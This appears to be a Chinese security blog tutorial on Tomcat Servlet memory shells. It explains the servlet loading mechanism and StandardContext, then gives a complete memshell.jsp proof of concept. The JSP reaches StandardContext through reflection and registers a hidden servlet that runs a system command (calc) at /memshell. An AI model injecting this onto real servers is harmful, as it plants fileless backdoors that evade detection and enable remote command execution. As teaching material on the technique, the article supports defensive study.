文章总结: 本文深入剖析了Servlet内存马的技术原理与实现方法。核心结论是:攻击者可通过反射获取Tomcat的StandardContext对象,动态调用其addChild与addServletMappingDecoded方法,将恶意Servlet注入运行中的Web容器,从而实现无文件WebShell。文章详细解析了Tomcat的Servlet加载机制与StandardContext的关键角色,并提供了从原理分析到完整代码实现的全流程指南,具有很强的可操作性。 综合评分: 86 文章分类: 渗透测试,WEB安全,内网渗透,漏洞分析,安全工具
Java安全之Servlet内存马
子非鱼 子非鱼
船山信安
2026年3月4日 21:12 新加坡
Servlet内存马的技术原理
Tomcat等容器的Servlet加载机制
- 启动与初始化:
- 当Tomcat启动时,它会解析
web.xml文件(或读取@WebServlet注解)来获知需要加载哪些Servlet。 - 对于每个定义的Servlet,容器会创建其类的一个实例,并调用其
init()方法进行一次性初始化。这个过程是静态的,在应用启动时完成。
- 请求处理流程:
- 当一个HTTP请求到达Tomcat时,它首先会被
Connector接收。 - 然后,请求被传递到对应的
Engine->Host->Context(即你的Web应用)。 - 在
Context层面,容器根据请求的URL路径,去查找匹配的Servlet。这个映射关系存储在StandardContext对象的servletMappings属性中。 - 找到对应的Servlet后,容器会调用该Servlet的
service()方法,进而根据请求方法分派到doGet(),doPost()等方法。
- 关键洞察:
- 这个流程的核心是
StandardContext。它是整个Web应用的运行时代表,持有了所有Servlet的定义(children)、映射关系(servletMappings)以及过滤器、监听器等。 - 内存马的目标,就是在运行时动态地向这个
StandardContext中插入一个恶意的Servlet并为其分配一个URL映射。
StandardContext 在 Tomcat 中的角色
-
StandardContext实现了Context接口,而Context接口继承了ServletContext。因此,在 Tomcat 中,StandardContext的实例可以被强转为ServletContext。 -
它是整个 Web 应用的“管理中心”,主要功能包括:
-
解析
web.xml或注解配置 -
注册并管理所有的 Servlet、Filter、Listener
-
提供
addServlet()、addListener()等动态注册 API -
维护请求映射表(URL Pattern → Servlet)
-
触发应用级别的事件(如
ContextInitialized)
为什么它是内存马的关键? 因为攻击者一旦能获取到
StandardContext实例,就可以绕过web.xml或注解,就可以通过 Wrapper 动态注册 Servlet,将恶意 Servlet 注入到当前应用中 —— 这正是 Servlet 型内存马的核心入口。
关键组件详解
1. Context(上下文)
-
对应一个完整的 Web 应用(如
myapp.war) -
在 Tomcat 中实现类为
StandardContext -
职责:
-
管理该应用下的所有 Servlet、Filter、Listener
-
维护
ServletContext对象(全局唯一的上下文环境) -
处理 URL 映射(mapping)
-
支持动态添加/移除 Servlet(Servlet 3.0+)
ServletContext context = request.getServletContext();
2. Wrapper
- 是 Tomcat 内部对 Servlet的封装
- 每个 Servlet 都对应一个
Wrapper实例 - 负责 Servlet 的生命周期管理(创建、初始化、调用、销毁)
- 可通过
Context.findChildren()获取所有 Wrapper
StandardContext ctx = ...;
Object[] wrappers = ctx.findChildren(); // 返回 Wrapper 数组
for (Object wrapper : wrappers) {
System.out.println("Servlet Name: " + ((Wrapper)wrapper).getName());
}
3. Servlet
- 用户编写的业务逻辑类(如
LoginServlet.java) - 被
Wrapper包装后由容器统一调度
核心原理
Servlet 内存马的本质是动态向 Web 容器(如 Tomcat、Jetty)注册一个恶意 Servlet,并通过容器的请求分发机制触发恶意代码。其核心依赖于:
- Web 容器的 Servlet 注册机制(如 Tomcat 的
ServletContext接口); - 反射技术获取容器内部对象(避开权限限制);
- 恶意 Servlet 的
service方法作为触发点(处理 HTTP 请求时执行恶意逻辑)。
代码演示
Servlet简单演示
写一个简单的servlet
package org.example.listendemo;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class ServletDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
// 获取请求参数
String name = req.getParameter("name");
if (name == null) name = "Guest";
// 响应结果
resp.getWriter().write("Hello, " + name + "!");
}
}
功能:接收前端的name参数,返回 “Hello, XXX”。
然后在web.xml中配置进行静态注册
<servlet>
<servlet-name>ServletDemo</servlet-name>
<servlet-class>org.example.listendemo.ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo</servlet-name>
<url-pattern>/servletdemo</url-pattern>
</servlet-mapping>
然后配置好Tomcat后启动项目, 访问该url: /servletdemo http://localhost:8080/LIstenDemo_war_exploded/servletdemo 然后就可以看到页面输出了
注意
但是在这个过程中, 可以看到我们配置路径实在web.xml中静态注册, 或者也可以使用@WebServlet配置, 但都是静态配置, 提前配置好的 这个注册过程在Tomcat启动之前就好了, 运行时无法修改 但内存马的目标时在运行时偷偷测住Servlet, 跳过静态配置 所以在运行时调用 Tomcat 的
addServlet和addMapping方法,就能注册一个 “看不见” 的 Servlet 了—— 这就是内存马的核心思路。
内存马
由此, 我们就可以手搓一个内存马 首先分析上面servlet的执行过程, 先进行配置. 因为要分析tomcat, 所以在pom.xml中添加配置, 版本和自己的Tomcat的版本保持一致
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.58</version>
</dependency>
在分析Servlet的执行流程过程前, 可以通过下面文章了解Tomcat的执行过程. Tomcat请求流程源码调试 | 三大组件内存马浅析: https://mp.weixin.qq.com/s/eVo2ldW_Vemy31HZR0vUbw Tomcat源码初识一 Tomcat整理流程图
在Tomcat中,Servlet的加载过程分为两个主要阶段:应用启动时的静态配置加载和运行时的动态注册。ContextConfig.configureContext(WebXml webxml)主要负责第一种情况。 ContextConfig.configureContext(WebXml webxml)的作用 ContextConfig是Tomcat中负责配置Context容器的类,它会读取web.xml文件并将配置信息应用到StandardContext中。
静态配置加载过程
当Tomcat启动Web应用时,会执行以下步骤:
-
解析web.xml文件:
-
ContextConfig读取并解析web.xml文件
-
将配置信息存储在WebXml对象中
-
调用configureContext方法:
-
ContextConfig.configureContext(WebXml webxml)方法会处理WebXml中的配置
-
对于Servlet配置,会创建Wrapper并添加到StandardContext 除了
web.xml,ContextConfig还会扫描类路径下的@WebServlet、@WebFilter等注解(需metadata-complete="false"),并将它们合并到WebXml对象中,后续处理逻辑完全一致 上面项目通过web.xml配置加载的: 当Tomcat启动时,ContextConfig会:
-
解析这段配置
-
在configureContext方法中创建一个名为”ServletDemo”的Wrapper
-
将Wrapper添加到StandardContext的children容器中
-
添加URL映射关系:”/servletdemo” -> “ServletDemo” 所以在org.apache.catalina.startup.ContextConfig文件configureContext方法打个断点进行分析
断点后调试, 分析
servlets是一个HashMap类型的变量,用于存储 Web 应用中所有已配置的 Servlet 的相关信息 ,键是 Servlet 的名称,值是ServletDef类型的对象servletMappings是一个HashMap类型的变量,它维护了 URL 模式和 Servlet 名称之间的映射关系 ,即通过这个数据结构,Tomcat 能够知道当接收到某个 URL 请求时,应该将请求转发给哪个 Servlet 进行处理。 configureContext中的处理流程 在configureContext方法中,对于Servlet配置的处理大致如下:
// 简化的处理流程
protected void configureContext(WebXml webxml) {
// 处理Servlet定义
for (ServletDef servletDef : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
wrapper.setName(servletDef.getServletName());
wrapper.setServletClass(servletDef.getServletClass());
// 设置其他属性...
// 添加到Context容器
context.addChild(wrapper);
}
// 处理Servlet映射
for (ServletMappingDef mapping : webxml.getServletMappings()) {
context.addServletMappingDecoded(
mapping.getUrlPattern(),
mapping.getServletName());
}
// 处理其他配置...
}
在这里核心代码就是
这两行, 所以在注入内存马的时候, 只需要调用
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
所以需要获取context, 分析调用堆栈, 可知context来自于StandardContext
ContextConfig是StandardContext的生命周期监听器(LifecycleListener)。在 Tomcat 启动时,StandardContext会将自身作为事件源传递给ContextConfig,因此ContextConfig.context字段实际指向的就是当前 Web 应用的StandardContext实例。
这是正常的静态配置的接在servlet的过程
动态配置–注入内存马
基于上面的分析, 我们只需要能够获取StandardContext实列,然后调用addChild()和addServletMappingDecoded()方法就可以注入内存马
虽然StandardContext提供了addChild()方法,但问题是:
StandardContext是 Tomcat 内部实现类,不在标准 API 中暴露。- 我们的恶意代码运行在 Servlet 或 Filter 中,无法直接引用它。 但我们有一个“合法入口”——每个 HTTP 请求都能访问的:
ServletContext servletContext = request.getServletContext();
这个servletContext对象看似只是一个标准接口,但实际上它背后隐藏着StandardContext的真实实例。我们要做的,就是通过反射一层层“剥开”它的包装。
- Tomcat 的包装结构:三层嵌套
在 Tomcat 中,ServletContext的实现采用了门面模式(Facade Pattern),目的是对外暴露安全接口,隐藏内部复杂结构。
其真实结构如下:
request.getServletContext()
↓
返回类型:ServletContext (接口)
↓
实际对象:ApplicationContextFacade ← 我们拿到的“门面”
↓
applicationContext (字段) → ApplicationContext ← 中间包装
↓
context (字段) → StandardContext ← 真实目标
| 类名 | 作用 |
| — | — |
| ServletContext | Java EE 标准接口,应用层唯一可见的入口 |
| ApplicationContextFacade | 门面类,防止用户直接操作内部对象 |
| ApplicationContext | 内部包装类,持有对 StandardContext的引用 |
| StandardContext | Tomcat 核心类,真正管理 Servlet 的生命周期 |
基于此, 构造servlet内存马
流程:
- 创建恶意Servlet类
- 获取context:StandardContext(通过反射)
- 从context获取Wrapper对象
- 将自己的Servlet封装进wrapper对象
- 将wrapper添加到上下文并设置映射路径
1. 创建恶意Servlet类
#
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA. User: 14109 Date: 2025/10/18 Time: 15:41 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 定义一个恶意servlet
public class ShellServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
2. 获取context:StandardContext(通过反射)
// 方式1:通过 request(最常用)
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = (StandardContext) servletContext;
// 方式2:通过 Thread Context ClassLoader(无 request 时)
WebAppClassLoader webAppClassLoader = (WebAppClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webAppClassLoader.getContext();
为什么能强转?
因为 Tomcat 中StandardContext实现了ServletContext接口。
3. 调用context.createWrapper()创建一个全新的 Wrapper。
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evil"); // Servlet 名称(必须唯一)
wrapper.setServlet(evilServlet); // 直接设置 Servlet 实例(绕过类加载)
关键点:
- 不要调用
setServletClass()(那样会走类加载 + init,可能失败)- 直接
setServlet(instance)才能确保恶意逻辑生效
4. 将 Wrapper 添加到 StandardContext
standardContext.addChild(wrapper);
- 这会将 wrapper 加入
StandardContext.children容器 - 后续请求分发时,Tomcat 能找到这个 Servlet
5. 注册 URL 映射路径
standardContext.addServletMappingDecoded("/evil", "evil");
- 第一个参数:访问路径(如
/evil) - 第二个参数:Servlet 名称(必须与
wrapper.setName()一致)
此时访问
http://target/evil?cmd=whoami即可触发内存马。
完整内存马
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %> <!-- 导入反射相关类,用于突破 private 限制 -->
<%@ page import="org.apache.catalina.core.*" %> <!-- 导入 Tomcat 核心类:StandardContext、ApplicationContext 等 -->
<%@ page import="org.apache.catalina.Wrapper" %> <!-- Wrapper 是 Tomcat 中包装 Servlet 的容器组件 -->
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
文件名: memshell.jsp
功能: Tomcat Servlet 型内存马注入 PoC
作者: [你的名字]
日期: 2025年10月18日
描述: 通过反射获取 StandardContext,动态注册恶意 Servlet,实现无文件 WebShell。
--%>
<%!
// ==================== 定义恶意 Servlet(静态内部类)====================
// 注意:此处 ShellServlet 虽未显式声明为 static,但在实际运行中仍可能被当作 static 处理
// 但为了安全起见,建议显式添加 static,避免持有外部 JSP 实例引用导致类加载问题
public class ShellServlet extends HttpServlet {
// 构造函数(可选)
public ShellServlet() {
super();
}
// 重写 doGet 方法,处理 HTTP GET 请求
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
// 执行系统命令:弹出计算器(Windows 系统)
Runtime.getRuntime().exec("calc");
// 其他平台示例:
// macOS: Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
// Linux: Runtime.getRuntime().exec("gnome-calculator");
} catch (Exception e) {
// 异常不会返回给客户端,但会记录在服务器日志中
e.printStackTrace();
}
}
// 重写 doPost 方法,使其与 doGet 行为一致
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
doGet(request, response);
}
}
%>
<%
// ==================== 获取 StandardContext 实例 ====================
// 目标:获取 Tomcat 的 StandardContext 对象,它是管理 Servlet 生命周期的核心组件
// 路径:ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
// 原理:Tomcat 使用门面模式(Facade)保护内部对象,我们通过反射“剥开”这层封装
// 从当前请求中获取 ServletContext 对象
// ServletContext 是整个 Web 应用的全局上下文,每个请求都能访问
ServletContext servletContext = request.getServletContext();
try {
// --- 第一步:从 ServletContext 获取 ApplicationContext ---
// request.getServletContext() 返回的是 org.apache.catalina.core.ApplicationContextFacade
// 它是一个门面类,内部通过 private 字段 context 持有真正的 ApplicationContext 实例
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
// setAccessible(true) 允许访问 private 字段,突破 Java 访问控制
applicationContextField.setAccessible(true);
// 获取 ApplicationContext 实例
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 此时我们拿到了 ApplicationContext,它是 ApplicationContextFacade 的内部包装对象
// --- 第二步:从 ApplicationContext 获取 StandardContext ---
// ApplicationContext 内部通过 protected 字段 context 持有 StandardContext 的引用
// StandardContext 是 Tomcat 中对应 <Context> 的实现类,负责管理 Servlet、Filter 等
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
// 获取 StandardContext 实例
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 成功获取 StandardContext!现在我们可以动态注册 Servlet 了
// ==================== 创建并配置 Wrapper ====================
// 在 Tomcat 中,Servlet 不是直接添加到 Context 的,而是通过 Wrapper 包装
// Wrapper 是 Tomcat 的“管道”组件,用于封装 Servlet 实例及其配置
// 创建一个新的 Wrapper 实例
Wrapper wrapper = standardContext.createWrapper();
// 设置 Wrapper 的名称(唯一标识符)
wrapper.setName("memshell");
// 这个名称将在 addServletMappingDecoded 中使用,必须唯一且一致
// 设置 Wrapper 要加载的 Servlet 类名
// 注意:setServletClass() 是告诉容器“按需加载”该类
// 但因为我们已经 new 了一个实例,所以这个设置不是必须的
wrapper.setServletClass(ShellServlet.class.getName());
// 直接设置 Servlet 实例(推荐方式)
// 这样可以避免类加载器找不到内部类的问题(如 JSP 编译后的 $ShellServlet)
wrapper.setServlet(new ShellServlet());
// ==================== 注册 Servlet 到容器 ====================
// 将包装好的 Wrapper 添加到 StandardContext 的子组件列表中
// 相当于在 web.xml 中定义了:
// <servlet>
// <servlet-name>memshell</servlet-name>
// <servlet-class>ShellServlet</servlet-class>
// </servlet>
standardContext.addChild(wrapper);
// 将 URL 路径 "/memshell" 映射到名为 "memshell" 的 Servlet
// addServletMappingDecoded 表示路径已经是解码状态(无需 URL 解码)
// 相当于在 web.xml 中定义了:
// <servlet-mapping>
// <servlet-name>memshell</servlet-name>
// <url-pattern>/memshell</url-pattern>
// </servlet-mapping>
standardContext.addServletMappingDecoded("/memshell", "memshell");
// 可选:向客户端返回成功信息
out.println("<html><body><h3> Memory Shell Injected!</h3>");
out.println("Access <a href='/memshell'>/memshell</a> to trigger calc.</body></html>");
} catch (Exception e) {
// 捕获所有异常,防止页面崩溃暴露细节
out.println("<html><body><h3>
Injection Failed: " + e.getMessage() + "</h3></body></html>");
// 打印堆栈到服务器日志(仅管理员可见)
e.printStackTrace();
}
%>
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 子非鱼 子非鱼《Java安全之Servlet内存马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论